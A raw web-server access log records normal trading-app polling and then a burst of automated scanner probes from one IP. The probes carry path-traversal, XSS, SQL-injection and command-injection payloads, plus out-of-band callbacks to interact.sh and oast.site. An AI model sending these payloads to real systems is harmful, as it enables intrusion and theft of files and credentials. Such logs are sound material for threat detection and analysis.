[09/Jan/2026:10:51:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927353463 HTTP/1.1" -
[09/Jan/2026:10:51:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927366465 HTTP/1.1" -
[09/Jan/2026:10:51:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927354121 HTTP/1.1" -
[09/Jan/2026:10:51:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:51:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 3426
[09/Jan/2026:10:51:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sdk HTTP/1.1" 196
[09/Jan/2026:10:51:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nmaplowercheck1767927355 HTTP/1.1" 196
[09/Jan/2026:10:51:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /evox/about HTTP/1.1" 196
[09/Jan/2026:10:51:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /HNAP1 HTTP/1.1" 196
[09/Jan/2026:10:51:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 3426
[09/Jan/2026:10:51:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927358612 HTTP/1.1" -
[09/Jan/2026:10:51:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927371531 HTTP/1.1" -
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?m&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test\")+and+extractvalue(1,concat(0x7e,md5(999999999)))+--+a HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /uapjs/jsinvoke/?action=invoke HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mobile/plugin/browser.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.htm?searchstring2&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/download/resource?resource=/profile/../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_projectfork&section=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zentao/user-login.html HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_album&Itemid=128&target=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1 HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /get_dkey.php?user=admin HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=../../../../../usr/local/php/pearcmd HTTP/1.1" 3426
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /awstats/awredir.pl?url=interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webshell4/login.php?errcode=0&login=\\%22%20onfocus=alert(document.domain);%20autofocus%20\\%22&err=U HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dataSetParam/verification;swagger-ui/ HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/redirect.php?plugins[]=../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/?g=sys_dia_data_down&file_name=../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/htmlofficeservlet HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs.html?url=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /e/ViewImg/index.html?url=javascript:alert(1) HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/dp/rptsvcsyncpoint?ccid=1 HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/log/c.php?strip_slashes=printf&host=nl+c.php HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /horde/util/barcode.php?type=../../../../../../../../../../../etc/./passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/rpc HTTP/1.1" 199
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1 HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/action/download_file.php?filename=../../../../../../../../../etc/passwd&savename=cjdjc.txt HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /comm.php?id=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jshERP-boot/user/getAllList;.ico HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.php?action=logout&forward=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?s=/home/page/uploadImg HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/xml/webuser-auth.xml HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adm/file.cgi?next_file=%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_kif_nexus&controller=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:28 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upgrade/detail.jsp/login/LoginSSO.jsp?id=1%20UNION%20SELECT%20md5(999999999)%20as%20id%20from%20HrmResourceManager HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /level/16/exec/show/config/CR HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authenticationserverservlet HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22 HTTP/1.1" 199
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htmlcode/html/indexdefault.asp HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exchweb/bin/redir.asp?URL=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/ HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/GetSrc HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /axis2-admin/login HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=https%3a%2f%2finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /guest_auth/guestIsUp.php HTTP/1.1" 226
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.html HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirect.php/%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E?subject=server&server=test HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxjE3fFiCbxw5LKoDI6brZEl.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_imagebrowser&folder=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adm/krgourl.php?DOCUMENT_ROOT=http://d5g6sfahausljekepl20gw7mc7ziafkzg.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_inf.html HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_cartweberp&controller=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_rokdownloads&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do?message=800842*967597 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/download/resource?resource=/profile/../../../../Windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_userstatus&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jinventory&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=http\\..\\admin\\login\\login_check.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/attachment_clearTempFile.action?bean.RecId=1')+AND+EXTRACTVALUE(534543,CONCAT(0x5c,md5(999999999),0x5c))+AND+('n72Yk'='n72Yk&bean.TabName=1 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/logo/logo-eoffice.php HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/awstats/awredir.pl?url=interact.sh HTTP/1.1" 199
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_ckforms&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jukebox&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp&nonce HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_hsconfig&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_loginbox&view=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_jprojectmanager&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status?full=true HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:29 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_horoscope&controller=../../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
